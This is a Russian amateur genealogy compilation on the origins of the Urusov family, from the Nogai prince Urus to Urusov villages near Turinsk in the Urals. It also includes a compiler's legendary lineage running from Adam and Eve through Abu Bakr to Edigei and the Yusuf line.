3. В 1600 году (год основания Туринска) Российский царь Борис Годунов, боясь заговора, отправил в ссылку видных людей России: Романовых (будущий род царей России), Бельских, Черкасских и Урусовых. Ведь в то время Урусовы в России входили в число 16 видных родов, влиявших на политику России. Урусовы были отправлены в различные районы России. Возможно, так появились князья Урусовы и в Западной Сибири (Урале). Ведь воеводами Нарыма в 1620 – 1630 годах был Урусов Андрей Васильевич, а воеводой Пелыма – Урусов Андрей Афанасьевич 1635 – 1638 годах. Кто они? Неизвестно.
4. После завоевания Ермаком Сибири в России находилось много охотников, готовых переселиться туда на постоянное жительство. Большая часть переселенцев происходила из Холмогорского (Архангельского) уезда с Ваги, Устюга , из Соливычегодской, Вятки, Перми и других мест Поморья. А в это время и в эти места уже были сосланы князья Урусовы (в Вологодской, Ярославской, Курской, Саратовской и других современных областях), а другие правили в некоторых городах (воеводы в разное время были Урусовы Борис, Иван и Андрей в городе Устюге). Правительство разрешало переселяться в Сибирь всем жителям России, в том числе и крепостным. Таким образом, переселялись и крестьяне, бегущие от своих господ и оставлявшие, обычно фамилию своего владельца, беглые, пришлые, бегущие с заводов, бедные мещане, купцы, обедневшие ветви княжеские.
5. При постоянном расширении русских владений, надобность в комплектации служивого состава постоянно возрастала. Для доставления служивым людям возможности плодиться, правительство было вынуждено набирать в Российских городах «гулящих (свободных) баб и девок» для отправки их в Сибирь с целью выдачи их замуж за тамошних казаков и других русских людей, «которые великую в сем нужду имели». Подобные меры практиковались постоянно (1630 год – набрано 500 мужчин и 150 женщин; 1637 год – 300 семей отобрано и 150 девиц для раздачи их в жены казакам). Тем, кому не доставались жены, казаки, как сословие храбрых, завоевывало себе подруг разными приемами. Для чего бы не повторить, что «поколение в этом сословии первоначально пошло от крови татарок, которые, быв, обласканы смелыми пришельцами, взошли на ложе их, в последствие законное». В Туринск, для несения службы были посланы:
- 10 стрелков с Верхотурья;
- 20 стрелков с Тобольска;
- 10 казаков и один пушкарь с Тюмени;
- 30 стрелков с Пелыма в 1633 году.
6. С 1601 по 1646 годы постоянно на тюменский и туринский уезды делали набеги калмыки и ногайцы. Некоторых брали в плен, крестили и оставляли пашенными крестьянами. Особенно, часто, в 1601 – 1610 годах делала набеги урусбиевская орда, Урус-князя , сына Алта-Улишаим (!), внука Урус-князя, князя БНО (7б\87; 7д\82; 29г\156; 197в\34). Такой путь появления тоже имел на существование (Урус – Урусов).
7. С 1653 года в Сибири и, в частности, в Туринском уезде появляются староверы и их деревни на северо - востоке туринского уезда. А ведь, жена князя Урусова Петра Семеновича (№26) Евдокия Прокопьевна, родная сестра боярыни Морозовой, умерли в земляной тюрьме с сестрой за поддержку протопопа Аввакума, в защиту старой веры.
8. С конца 17 века было разрешено вольное переселение и, одновременно, появилась новая волна ссыльных, не угодных власти, быстро меняющейся на российском троне.
. 9. Деревня Урусова (родина писателя Ивана Ивановича Акулова) (до 1781 год – д. Уросова; 1781 – 1868 годы – Большауросова и с 1868 по настоящее время – Урусова) основана в середине XVII века. В 1701 году в деревне было восемь крестьянских домов и один дом ямщика. Стоить подчеркнуть, что приток людей извне к этому времени практически прекратился. Поэтому, возможно, первопроходцами деревни Урусовой были или переселенцы города Туринска, или села Усениново, стоявшего около ста лет и в трех километрах, имевшего в это время 69 дворов и много обработанной земли. Но, обязательно, это был человек (крестьянин, посадский, ямщик или другое лицо) с фамилией Урусов.
10. Деревня Мало – Урусова (моя малая родина) (до 1868 года д. Уросова, с 1868 по 1960 год Мало – Урусова) основана в первой половине XVIII века. В деревне в 1781 году проживало 40 жителей в шести дворах, ходили в Чукреевскую церковь; деревня входила в Жуковскую волость.
Легенда гласит, что два брата, жившие в д. Урусовой, поссорились, и один из них переселился на речку Чернушка при впадении ее в Сусатку. Кроме этого, легенда гласит, что братья были «белой кости», не из простых людей.


После долгих поисков (с 1995 года) по УРУСОВЫМ, малой родине и роду Урусовым с Малой Урусовой выстроился основной стержень Урусовых в России, Кавказе и на Урале. Но вширь древо это может разветвляться бесконечно долго.
Самый ощутимый результат поиска – это возможность ближе узнать своих родственников, объединить их и поддерживать с ними постоянную связь, чтить имена предков. Главное помнить, что как мы относимся к нашим родственникам и близким, также и наши дети будут относиться к нам. И, если я отвечу, кто мой «дед – деда», то можно считать самым ценным результатом составления истории и родословной своего рода.
Очень хочется завершить начатое дело, найти, кто же основал Малую Урусовочку? Ведь осталось каких-то 70-80 лет!! Имеется всего семь домов, семь семей Урусовых; и вероятно, они родственники.
УРУСОВЫ с МАЛОЙ УРУСОВОЙ !!!
Давайте восстановим справедливость. Объединим усилия, я уверен, мы ведь
ВСЕ РОДСТВЕННИКИ с ВАМИ !!!


Литература:
1.Долгоруков П.В. Российская родословная книга. СПб.1855 г.
2. Думин С.В.Дворянские роды Российской империи. т.3. СПб. 1996г.
3. Санкт-Петербургская родословная дворянская книга. СПб. 2004г.
4. Интернет. Урусовы.
5. Юсупов Н.Н. О роде князей Юсуповых XVI - XIX вв. т.1-2.СПб. 1866 г

8. Все об Урусовых.

   


В 1589 году правитель Большой Ногайской орды князь УРУС сидя между кострами возле реки Дон рассказал своему внуку и своим воинам историю своего славного рода.
Вот таким образом в далеком прошлом передавалась от старшего к младшему история народа или рода Урусовых.
Урусовы любой нации и национальности произошли или неразрывно связаны с князьями Урусовыми. Урусовы – это княжеский род татарского происхождения, родоначальник которого Урус мурза (шестое колено от Эдигея Мангита) был с 1578 года князем ногайским. Поэтому, прежде чем рассмотреть родословную Урусовых, надо рассмотреть корни татарского происхождения.
Для рассмотрения этого вопроса рекомендую посмотреть в Интернете по адресу:
http://my.mail.ru\community..., где в материале «Род Урусовых. ч.1. Татары.» изложен данный материал. Кроме этого рекомендую издания Босварт Л.Э., Валиханов Ч.Ч., Вельяминов-Зернов В.В., Войтович Л.В., Мерперт Н.Я., Трофимов Юрий и многих других авторов.
В 1242 году Бату, татарский хан, захватив Сибирь, Среднюю Азию, Кавказ, Россию и Восточную Европу создал новое государство «Золотая Орда», которое представляло собой пестрое население. Кочевники произвели полное разорение захваченных земель, привели в упадок экономику и культуру народов. Через 150 лет ЗО начала распадаться. На ее территории образовались новые формирования, которыми руководили уже другие ветви большой семьи Чингиз-хана: Сибирское, Казанское, Крымское, Астраханское и Казахское ханства, Большая и Ногайская орды.
Одновременно с ЗО на востоке ее территории (Средняя Азия, Волга - Урал) существовала и Синяя орда, которой правили потомки Чингиз-хана и наследники Урус-хана (хан ЗО, СО и НО). Но в результате поражения ЗО от Руси и борьбы Урус-хана с сыновьями Тохтамыша СО начала слабеть. Вот в это время и появилась сильная фигура ЗДИГЕЯ, родоначальника князей Урусовых, Юсуповых, Кутумовых …. . Он фактически самовластно руководил с 1395 по 1420 годы ЗО, СО и НО.
Рекомендую расширить познания в изданиях Жирмунский В.М., Греков Б.Д., Новосельский А.А., Сафаргалиев М.Г., Савельев П.С., Тизенгаузен В.Г….. .
Через шесть поколений после Эдигея НО стал руководить УРУС-мурза, князь Ногайской орды (1578-1590 гг.), 1489 года рождения. Урус сильно выделялся между своими братьями, был лидером. Еще в молодости он указывал Ивану Грозному, чтобы царь его «смотрел ровно с отцом», говоря, что он «много гневен за то». Уже князем НО грозил русскому царю войной. Захватил русских послов и продал их в Бухару. Князь Урус в 101 год погиб в бою. О жизни и деятельности БНО посмотрите на сайте: «http://my.mail.ru\community..., ч2.Ногаи.
С конца 16 и начала 17 веков род Урусовых разделяется: одна часть забрана заложниками в Москву, где были крещены в православие. Другая часть, после гибели Урус-бия уходит на Кавказ в верховья Кубани в горы Карачая, давая, современным карачаевцам и балкарцам фамилии Урусовы и Урусбиевы. Третья часть рода Урусовых осталась в БНО, владея семейным улусом, продолжая борьбу за независимость своего государства с Россией, МНО и калмыками. Столкновения с калмыками, сопровождающиеся тяжелыми потерями, нанесли значительный ущерб силе орды. Она стала дробиться, враждуя друг с другом, принося в жертву общие интересы ногайского народа. Среди мурз было много лиц, воинственных и задорных, но не оказалось личности крупной и сильной, как Эдигей, которая взяла бы на себя задачу объединения ногайских улусов. Так образовались Юртовские (Астраханские), Крымские (Таврические), Едисанские (Джетысанские), Буджакские, Аккерманские (Белгородские), Терекские (Бессарабские и Кубанские), Едишкульские (Джетыскульские), Джембойлукские (Алтаульские), Кундровские (Касаевцы и Каспулатовцы) орды, Каракалпаки, Караногайцы и много мелких орд.
Таким образом, Ногайская Орда, начав свое существование с 1395 года, когда Эдигей повторно объединил ногайский народ (первый раз - Ногай) распалась в 1770 году при присоединении мелких орд к России. Ногайцы были приведены к оседлой жизни, расселены по разным губерниям, селам, превратились в государственных крестьян.
РОДОНАЧАЛЬНИКОМ РУССКИХ КНЯЗЕЙ У Р У С О В Ы Х
был Урус князь (шестое поколение от Эдигея Мангита), князь Большой Ногайской Орды. В 89 лет он начал править НО и целых одиннадцать лет боролся за объединение и независимость ее, удерживая от распада. Его характеристику посмотрите в ч.3 Московские князья, рассмотренного сайта. Долгоруков П.В., Думин С.В., Петров П.Н., Юсупов Н.Н. более подробно рассматривают различные ветви Урусовых. Москва крестила в православие внуков Урус-бия: Борис и Петр Канмурзиновичи, Александр, Борис, Иван и Петр Янараслановичи и Андрей Сатыевич, от которого идет род князей русских Урусовых. Его же сын, Семен был женат на двоюродной сестре первого Российского царя из рода Романовых А.М.Романова. Таким образом, русские князья Урусовы стали служить Московскому государству, имея наследное княжество в России от царя Бориса Годунова, и внесенные в «Общий Гербовник», ч.6, №1. Описание герба князей Урусовых посмотрите в Одноклассниках, Клан Урусовых, в фотоальбоме о гербах, в комментариях.
После гибели Урус бия (князя) и его сына Сатыя в 1590 году уцелевшая Урусбиевская орда уходит на Кавказ в Верховья Кубани в горы Карачая на стык трех ущелий Хурзунский, Махарский и Кубанский, где в селе Верхний Учкулан (современное название) были похоронены Урус бий и Сатый. Здесь сейчас родовое кладбище Урусовых. По сей день Урусовы знают и чтят могилу Урус-бия, который считается основателем фамилии. Оставшиеся в живых члены урусбиевской семьи стали продолжателями современной карачаевской фамилии Урусовы.
Здесь и сформировался род Урусовых ( К а р а ч а е в с к и е У р у с о в ы).
Через определенное время род Урусовых разросся, им стало тесно в одном селе. Часть Урусовых, получив по праву наследования титул князей, переселилась в Баксанское ущелье Балкарии Приэльбрусья, где обосновало селение Урусбиевское (с 1917 года Верхний Баксан) и жители села рода Урусовых назывались УРУСБИЕВЦАМИ ( Б а л к а р с к и е У р у с б и е в ц ы).
Это и есть СЕВЕРОКАВКАЗСКАЯ ветвь УРУСОВЫХ.
Для углубления своих знаний по изучению карачаевского и балкарского происхождения народов рекомендую произведения Иванюк И.И, Лавров Л.И., Невская В.П., Трифонов Ю., Урусов К. С-Б, а также сборник МОМК Кавказа. Кроме этого в Одноклассниках, Клан Урусовых, Северокавказские Урусовы в фото и изложении.
Итак, мы рассмотрели происхождение фамилии Урусовы, историю этой фамилии, и ее три ветви: - ногайская; - русская; - северокавказская.
Но ведь кроме этого, У р у с о в ы могут существовать и другим образом. Слово «урус»
(человек, ведущий русский образ жизни, рожденный от русской женщины, русоволосый) относится как к имени человека, так и к целым народам. Впервые (из перечисленной литературы) встречаются:
- 1207 год – Урус-инал – это правитель киргизов в годы правления Чингиз-хана в стране находящейся севернее озера Байкал;
- 1301-1303 годы – Урус – правитель Угедейского улуса, правнук Угедея, сына Чингиз-хана;
- 1369-1378 годы – Урус-хан – правитель Золотой Орды, Синей Орды, Астрахани и Узбекского союза. Его преемники сформировали народы казахов, киргизов, каракалпаков, ногайцев, туркмен, и у этих народов должна и есть фамилия Урусовы (54,т.2\ 159);
- 1578-1590 годы – Урус-князь – правитель Ногайской Орды, родоначальник фамилии Урусовых (князей в том числе);
- в XIII веке при появлении татар на территории Руси они стали называть «руссов» УРУСАМИ, т.е. русскими.
При появлении фамилий в Руси в XV-XVI веках от Урусовых появились разновидности фамилий у различных народностей:
- Урусба – башкиры; - Урусбиевцы – балкары;
- Наурус – бухарцы; -Урус – казахи;
- Урусона – кинчаки; -Урумет – ногайцы;
- Урусоба – половцы; - Урухчи – туркмены;
- Урустай – узбеки;
- У р у с о в ы - у русских, карачаевцев, чеченцев, осетин, кабардинцев и у других народов. У каждого народа интересное происхождение фамилии Урусовы или ее разновидности.
Появились и населенные пункты (в основном села и деревни Урусовы) компактного проживания Урусовых в России в вологодской, липецкой, московской, саратовской, свердловской, тульской, ульяновской и ярославской областях; в Мордовии, Татарстане, Ставрополье, на Кавказе (Карачаево, Балкария, Осетия, Дагестан, Чечня, Кабарда). Известен городок Урос в Перми Великой, который назывался в походе Ивана III в 1472 году. Происхождение селений различное: от дач - поместий князей Урусовых, от русских укреплений, которые татары называли «урусами», а также от обедневших Урусовых, основывавших новые поселения. Последнее, вероятно всего, относится к Уральским Урусовым. Рекомендую посмотреть о УУ у Анимица Е.Г., Буцинский П.Н., Завалишин И., Заварихин С.П., Кочедамов В.П., Новоселов А.И., Славнин П., Словцов П.А и в Интернете, Одноклассники, Туринск и мы, Туринск исторический.
Так, в 1600 году Российский царь Борис Годунов, боясь заговора, отправил в ссылку видных людей России: Романовых (будущий род царей России), Бельских, Черкасских и Урусовых. Ведь в то время Урусовы в России входили в число 16 видных родов, влиявших на политику России. Урусовы были отправлены:
- в Вологду (417\ 181), где сейчас в этой местности имеется деревня Урусовская;
- в Сибирь (Урал) – в Свердловской области Туринского района имеется также две деревни Урусовых;
- в среднюю полосу России (смотри выше).
Кроме этого, Урусовы иммигрировали в США, Францию и другие страны
Рассматривая биографии князей Урусовых (Род Урусовых. Московские князья ) можно определить, кто и где проживал и как проходил государственную службу.
О некоторых населенных местах Урусово имеется информация, которую прислали жители или этих сел или районных городков.
После захвата Западной Сибири Ермаком и основания Туринского острога (1600) началась колонизация Туринского края. Первыми жителями края стали новокрещенные инородцы «татарове и остяки и вогуличи», которые были посажены на землю, занимаясь хлебопашеством. Остальных брали из охочих людей. Сибирь в это время была в такой славе, что в России находилось много охотников, готовых переселиться туда на постоянное жительство. Большая часть переселенцев происходила из Колмогорского (Архангельского) уезда с Ваги, Устюга, из Соливычегодской, Вятки, Перми и других мест Поморья. Эти люди хотели лучшей жизни, одни хотели обогатиться, другие бежали от властей. Это были крестьяне, уходящие от рабства своих господ, беглые, убегающие от розыска, обедневшие мещане, купцы, ремесленники и другие слои общества. В это время и воеводами Сибири в Пелыме и Нарыме были Урусовы.
Все жители Туринского острога независимо от сословия имели пашню. Горожане по состоятельней заводили свои деревни. Первые русские сельские поселения большей частью были однодворными. Трудные условия освоения пахотных участков в таежных лесах, немногочисленность населения и преобладание малых семей обуславливали малые размеры деревень. Подавляющая часть жителей состояла из крестьян с вкраплением ямщиков, служивых, посадских и бобылей. Заселение и развитие сельского хозяйства задерживала угроза вторжения ногайского князя Уруса (князьУрус-алтаульский, Урус младший, сын Алта Улишаим, внук Урус-князя, который делал набеги вместе с другим сыном Урус-князя Анарасланом на Ишим, Тюмень и Туринский край) (1601-1610 гг.) и калмыков, у которых было распространено имя Урус (1630-1640-е годы). Русские крестьяне и татары, уходя от своих хозяев, обычно, брали их фамилию.
Первое упоминание о деревне Урусовой (Уросова) Туринского района Свердловской области, в рекомендованной литературе, упоминается за 1701 год. В ней имелось восемь крестьянских домов и один двор ямщика. Стоит подчеркнуть, что приток людей извне к началу XVIII века в уезде практически прекратился. Из всех сельских домохозяев, зарегистрированных в уезде дозорной книгой 1701 года, лишь 13 по происхождению были туринцами: четверо переселились из соседних уездов, один из пленных калмыков и восемь из Европейской России (один «с Пинеги» и семь «из русских городов»). Поэтому, переселенцами д.Урусова были, вероятно всего, жители Туринска или села Усениново, которое упоминается в Летописи, когда Ермака впервые обстреляли татары и находящееся в двух километрах, но обязательно это был человек с фамилией Урусов (однодворные деревни).
Первое упоминание о деревне Малая Урусова отмечается у Миллера Г.Ф., путешественника, историка в 1742 году и 1781 году о приходах. В ней было шесть дворов. Легенда гласит, что два брата, жившие в д. Урусова, поссорились и один из них основал новое поселение на речке Сусатка в восьми км, которое стали называть тоже Урусова, а затем, Малая Урусова. Эта же легенда гласит, что братья были «белой кости».
Чтобы понять в каких условиях происходила борьба за жизнь с природой, посмотрим, что же представлял Туринский край в середине 19 века.
Это дремучая сибирская тайга, край глухой и дикий, леса обширные, дремучие и вековые. Села и деревушки редкие и мелкие. Множество рек и речек, текущих среди огромных, непроходимых хвойных лесов, зыбких болот и трясин. Много озер, изобилующих рыбой. Крестьяне сеют озимую рожь, овес, ячмень, яровую пшеницу как исторически прижившуюся культуру четверть тысячелетия назад. У населения преобладал рогатый скот, лошади, овцы и свиньи. Местные жители, вогулы преимущественно занимались звериной и рыбной ловлей. Многие занимались (кроме земли) сбором кедровых орехов и ягод, приготовлением изделий из дуба, лыка и мочалы. Звериная ловля состоит в добыче медведей, лосей, волков, белок, соболей и горностаев. Рыбой изобилуют все реки и озера. Вогулы платят казне ясак соболями и лисицами, они все приняли христианство, а также обычаи и образ жизни их русских соседей. Государство дает им хлеб, порох и свинец.
А что же представляют люди, заселяющие эти края.
В начале XX века население Туринского края представляет тип предприимчивого северного мужика и отличается едва ли не большей изворотливостью, чем жители других округов Западной Сибири. Туринский крестьянин не теряет головы ни при каких обстоятельствах: если ему мало пашни, он создаст ее, расчищая леса и даже осушая болота; если пашня плохая, он изыскивает средства поднять ее произвадительность, удобряет, осушает; если земледелие за всем тем не дает ему нужного для его существования, он обращается к кустарному промыслу, к ремеслу, но в тоже время он не бросает своей, хотя бы и плохой пашни. Изменил промысел, перестал оплачивать труд - он ищет другой или употребляет все средства, чтобы улучшить его производительность; в крайнем случае, когда нет никакого выхода, он все же предпочитает хотя и не вполне оплачивающий труд промысел зимнему безделью, не унывая работать при самых неблагоприятных условиях. Характер населения обнаруживается уже при первом взгляде на примыкающие к тракту селения с крепкими и красивыми постройками, и поля, на которых распахан каждый клочок годной для пашни земли. Общее развитие населения здесь выше, чем в других округах, что объясняется отчасти близостью уральских заводов. Наконец, туринский крестьянин гораздо религиознее: церкви посещаются здесь очень усердно, и масса народа ежегодно уходит на поклонение мощам наиболее почитаемого здесь святого Симеона Верхотурского. Старообрядцев здесь нет, церкви богаты, а духовенство пользуется расположением населения: самый бедный крестьянин почтет себя обиженным, если священник не зайдет к нему за сбором.
Отчего же мы стремимся попасть под крышу отчего дома, или хотя бы увидеть место, где светился родовой очаг?
Дело, видимо, в том, что в минуты свидания с родной землей мы черпаем духовные силы.
Здесь острее ощущаешь прошлое, память об ушедших поколениях, здесь осмысливаешь свое бытие – ведь жизнь человеческая начинается с родины и родиной же, ее строгой и взыскательной любовью увенчивается.
Самый ощутимый результат поиска – это возможность ближе узнать своих родственников, объединить их и поддерживать с ними постоянную связь, чтить имена предков. Главное помнить, что как мы относимся к нашим родственникам и близким, также и наши дети будут относиться к нам. И, если я отвечу, кто мой «дед – деда», то можно считать самым ценным результатом составления истории и родословной своего рода.
Важно знать не только настоящее, но и прошлое, чтобы не заблудиться в вечном и безмерном лесу человеческой истории. Ведь не столько само прошлое, сколько именно его связи с настоящим волнуют современников, определяют их отношения к предшествующим поколениям, к результатам их деятельности.

Последние письма писателя Ивана Ивановича Акулова в Туринск дышат искренней тоской о родном крае: «Хочется еще побывать в своей деревеньке (Урусово), пожить в ней. Охота застать пору сенокоса». Про себя он отмечал: «Я упрям по-урусовски. Именно по-урусовски: мужики у нас были прямые, настойчивые, работные и в силу своей независимости высоко несли чувство достоинства и чести ».
Вот таким образом, каждый У р у с о в, должен знать и передавать от старшего к младшему и с т о р и ю своей ф а м и л и и, и с т о р и ю своего р о д а, и с т о р и ю своего н а р о д а.

7. Диплом Урусовых.

 
Ангел. Ф а м и л ь н ы й д и п л о м. Ангел.

У Р У С О В.

Фамилия УРУСОВ представляет собой уникальный памятник соединения тюркских, татарских, северокавказских и русских народов; как мусульманских так и славянских.

Фамилия УРУСОВ имеет:
- мусульманское происхождение, от ногайских князей, в соответствии с Общим Гербовником Российских князей;
- монгольское происхождение, которое, возможно, шло от самого Чингиз-хана (татары) или через порабощенные племена из Средней Азии (тюрки) в соответствии с геральдикой герба Урусовых;
- северокавказское происхождение, по наличию многих имен и предков у карачаевцев и балкарцев.

Родовое имя династии Урусовых, таким образом, имеет тюркскую этимологию и, произошло от слова URUS, которое в переводе на русский язык имеет значение «русский». Прозвище или имя Урус, от которого произошла фамилия Урусов, могло быть дано человеку, ведущему русский образ жизни или рожденному от русской матери.
Фамилия Урусов происходит, скорее всего, от карачаевских горских князей.

В соответствии с геральдикой герба, предки Урусовых были состоятельными и имели высокое положение. Агнец (библейский барашек) символизировал богатство предков Урусовского рода. Геральдические знаки на гербе Урусовых присущи гербам фамилий восточного происхождения.

Наиболее известным на сегодняшний день является старинный дворянский род Урусовых идущий от УРУС-князя (шестое поколение от Эдигея Мангита), князя Большой Ногайской орды.

С XVII века продолжателями древних (ногайцев, булгар, тюрок) Урусовых являются русские Урусовы. Герб князей Урусовых венчает российская княжеская шапка, что свидетельствует о том, что они служили московскому государству.

Таким образом, представители фамилии Урусовы могут по праву гордиться своими предками, оставившими значительный вклад в развитие России.

Библиографические источники:
- П.В. Долгоруков. Российская Родословная книга. СПб. 1855 г.
- Н.Д. Плешко. Князья Урусовы и их предки. Нью-Йорк. 1955 г.
- Н.А. Баскаков. Русские фамилии тюркского происхождения. М. 1979 г.
- С.В. Думин. Дворянские роды России. Т.3. СПб. 1996 г.

Агнец. Агнец.

6. От Адама до Урусовых.

От Адама до Урусовых.
Составитель родословной от прародителей человечества Адама и Евы без комментариев, до своих внуков Юнусов К. Н.
+7 987 283 68 35 мобильный

YUNUSOV_ADVOKAT @MAIL.RU
2. С короткими коментариями
Краткая родословная Юнусова К.Н. от Адама и Евы.

1. Адам, был сотворен Аллах из звонкой глины, в которую он вдохнул жизнь. Из оставшейся после создания Адама глины, Аллах сотворил ему жену - Лилит, но она отказалась подчиниться мужу и быть ему покорной женой. Тогда Аллах из ребра Адама сотворил ему вторую жену - Хавву (Еву), которая, будучи его плотью, стала ему покорна. Адам, Лилит и Ева сотворены в день Гашуры, 10 Мухарама первого месяца лунного календаря, 3760 лет до нашей эры. Лилит свободно перемещаясь в Раю и на грешной земле, рожает изумительных по красоте дочерей, от потомков Адама, которым они кружили и кружат головы. Лилит, и ее дочери завидуют женскому, материнскому счастью Евы и дочерям ее дочерей. А от одной из ее дочерей Лилит, Лейлы сохранилась молитва-
«Боже, ниспошли мне смерть, дабы я оценила жизнь.
Боже, даруй мне раскаяние, дабы я вкусила от наслаждения.
Боже, сделай меня такой же, как дочери Евы!»

Будучи изгнанными, из Рая Адам и Ева прожили вместе на Земле 930 лет. Ева умерла вскоре после Адама. Первенец у Адам и Ева родился, когда им исполнилось 130 лет, с учетом первенца, за 800 летний детородный период Ева родила Адаму 63 ребенка, 32 сына и 31 дочь, дети рождались у них, как правило, парами. Женить их между собой, было вялено Аллахом, так чтобы мальчика из одной пары женился на девочке из другой. Соглано одной из легенд вместе с первенцем Кабилем в паре родилась дочь Аклимэ, а одного из сыновей Адам и Ева назвали Юнусом, что с древне семитского (еврейско-арабского) обозначает голубь, а в Турции известно как дельфин.
Адам и Ева похоронил рядом их третий сыном Сифом, в пещере Абу Кубайс, около Мекки. Там же похоронен и он сам.

2. Шис (Сиф) третий сын Адама и Евы, родился после убийства Авеля. Шис получил откровение от Аллаха, построил здание ал-Каабы из глины и камня. Каин (Кабиль) первенец, Авель (Хабиль) второй сын Адама и Евы. По одной версии Каин убил Авеля из ревности к сестре, (скорее, это была Лилит, принимавшая образ сестры) на которой оба хотели женится, во другой версии Каин убил Авеля из ревности за то что, Бог принял дары Авеля и отверг дары Каина. Авель принесшего в жертву лучших из свои животных, тогда как Каин принес в жертву некачественные плоды и зерна. После Шиса у Адама и Евы были и другие сыновья и дочери прародителей человечества, в том числе и Юнус.

3. Енуш (Енос). Он прожил 905 лет.
4. Кайне. (Кайнан). Жил 950 лет.
5. Мехлейил.(Мелелеил). Жил 910 лет.
6. Йериз.(Ийаред). Жил 962 года.
7. Бурде.
8. Ахнун
9. Идрис.
10. Мете.
11. Малик.
12. Нух. (Ной). Жил 950 лет. В день Гашуры его ковче достиг земли, а вода Всемирного потопа начала убывать.
13. Сем.
14. Ирфхешед.
15. Шелих.
16. Габир.
17. Фелиг.
18. Эргав.
19. Рагу.
20. Серуг.
21. Негуг.
22. Тарих.(Азар)
23. Ибрахим ( Ибрахим -Авраам, первый проповедник единобожия, родился в день Гашуры с 9 на 10 мухарама, первого месяца лунного календаря).
24. Исмагил, от невольницы Хаджар (Агарь) так же родился в день Гашура. С отцом очистил и восстановил Каабу. (от Сары Якуб, его потомки евреи).
25. Небит
26.Кайзар.
27. Сулеймен (Соломон) в день Гашуры становится Царем.
28. Хумейшиг.
29. Эдид.
30. Гадд.
31. Гаднен.
32. Медд.
33. Низар.
34. Мудар.
35. Ильяс.
36. Мудрике.
37. Хузейме.
38.
39. Назыр.
40. Малик.
41. Фихр.
42. Галиб.
43. Луэй.
44. Кяъб.
45. Мура. Является дедом в 7 колене для Пророка Мухаммеда САС и Абу Бакра.
46. бин Мура.
47. немере Мура.
48. шобере Мура.
49. шобеле Мура.
50. немене Мура.
51. биннемене Мура.
52. Усман Аби Кухафе, жена Умм Аль Сальма, дочь Сахра.
53.Абу Бакр Ас-Сиддык (Правдивейший), это прозвище было дано Абдуллаху бин Усман Аби Кухафе (572-634), Пророком (ССАС) 570-633, за то что он, поверил в повествование Мухаммада (ССАС) о миграже (ночном путешествии к Аллаху). У Абу Бакра было 4 жены и 6 детей. Он принял ислам в 38 лет, в 51 совершил хиджру, в 61 год стал Первым Халифом мусульман.
54. а.1-ый сын Абдуллах, погиб в битве при Бадре.
54.1. а.2-ая дочь Асьма, известная сподвижница Пророка (ССАС).
54.2. б.3-ий сын Абдурахман.
54.3. б.4-ая дочь Айша, которая стала женой пророка и матерью правоверных.
54.4. в.5-ая дочь от 3 жены -Асьма.
54.5. г.6-щй сын Магамед от 4 жены - Хабибы.
55. Гирмес бин Магамед (Термес). Через Дербентский проход вышел из Ирана в Прикаспийские и Причерноморские степи, где распространял ислам.
56.Халид.
57.Кулюд.
58.Адулгази.
59.Селим.
60.Садык.
61.Абдельхак.
62.Осман.
63.Джалялетдин.
64. Бабатюльклясь или Чачли Азиз, известный суфи, склонивший к принятию ислама Золото Ордынского хана Узбека и его потомков (1313-1342 годы правления хана). От Бабатюкляся ведет родословную проживающий в Турции Одан Актар известный под псевдонимом Харун Яхъя, мой дальний родственник с представителями которого я имел встречи в Алматы и Москве весной 2008 года.
65.Термя.
66.Каранчи.
67.Самакай.
68.Кадаркай.

69.Идегей. (1352-1419). Идегей, Тимур и Тимучин- Чингизхан восходят к одному общему предку которого звали Кайдада. У Кайдады был сын Байсункар, от которого было 9 сыновей. От потомков старшего сына Нотакына родился Кадаркай отец Эмира Идегея. От потомков третьего сына Кайдады родился Эмир Тимур. От потомка четвертого сына родился Тимучин, избранный ханом, под именем Чингизхан. Соглано закона утвержденного Чингисханом только его прямые потомки вправе были быть ханами. По этому Идегей и Тимур не претендоывали на титул Хана, а были Эмирами. Но они оба и их потомки всегда учитывали что Тимучин, то есть Чингиз Хан происходит от 4 сына, тогда как Идегей от первого, а Тимур от 3 сына их общего предка. А по лестничной, используемой только тюрками, системе наследования трона, власть переходит от отца к старшему сыну, затем второму сыну и так далее по как все живые сыновья не закончат свое правление.
За тем наступает очередь сыновей старшего сына, после них сыновей второго сын и так далее, каждое поколение правителя обязано было править со гласно свой очереди. Тимур нарушил этот тюркский принцип наследуемой по лестничной системе власть, ее фактически узурпировал, при избрании его на трон Хана, вместо того что бы уступил трон тому, кому следовала по закону лестничной системе наследования. Это нарушение, прецедент использовался часто в кризисные моменты истории Золотой Орды, и других татарских государствах после распада Золотой орды. Так например после смерти Хане Тауке, вместо созыва общего курултая и выборе законного единого хана в соответствии с лестничной системой выборов, Бии всех 5 жузов страны избрали себе своих ханов, разрушив единое государство на пять. Жузы каракалпаков и киргизов видимо уже окончательно отделились от трех других, которые составляют нынешней Казахстан.
Эмир Идегей был женат на своего дальнего родственника, дочери Эмира Тимура, Акчурен, которую освободил из плена, победив, убив калмыцкого князя Кабардина. От неё родился сын Нарадын (наследник трона). Но вообще то, Идегей имел несколько жен, и оставил после себя немение 20 сыновей.
70.Нарадын.
71.Акась. Имел несколько жен и оставил после себя 30 сыновей.

72.Муса. У него было 5 жен, от которых имел 20 сыновей. В том числе Алчагира, потомок которого, Борис Ижболдин в США оставил «Очерки по истории татар». Она издана в Казани в 2005 году, а в США она издана дважды, второе издание вышло в 1973 году. Некоторые данные в родословную занесены и из его книги. Ишболдин так же как и Ибрагим Юнусов последний Раис татарской Ратуши Казани был утвержден только в статусе советника коммерции. Княжеский, бийский титул, как наследников Ногайской орды они небыли удостоены, по известным политически мотивам. Восстановление Ногайской орды как даже зависимого, автономного государства ни когда не было в планах ни Российской Империи ни в период СССР.

73.Юсуф. Имел несколько жен и множество детей. Предпоследними были дочь Сююмбике и младший сын Али Акрам. От Абдула, сына Юсуфа, после принятия Абдулом крещения, пошли князья Юсуповы. Сююмбике (1516-1553), в 16 лет, в 1532 году была выдана замуж за Казанского хана Джан-Али (1516-1535), которому было также 16 лет. Муж был убит в 1535 г., трон достался с помощью старшего брата вдовы князя Юнуса бывшему хану Казанского ханства Сафа Герею (1511 -1549), за которого Сююмбике в последствии вышла замуж.
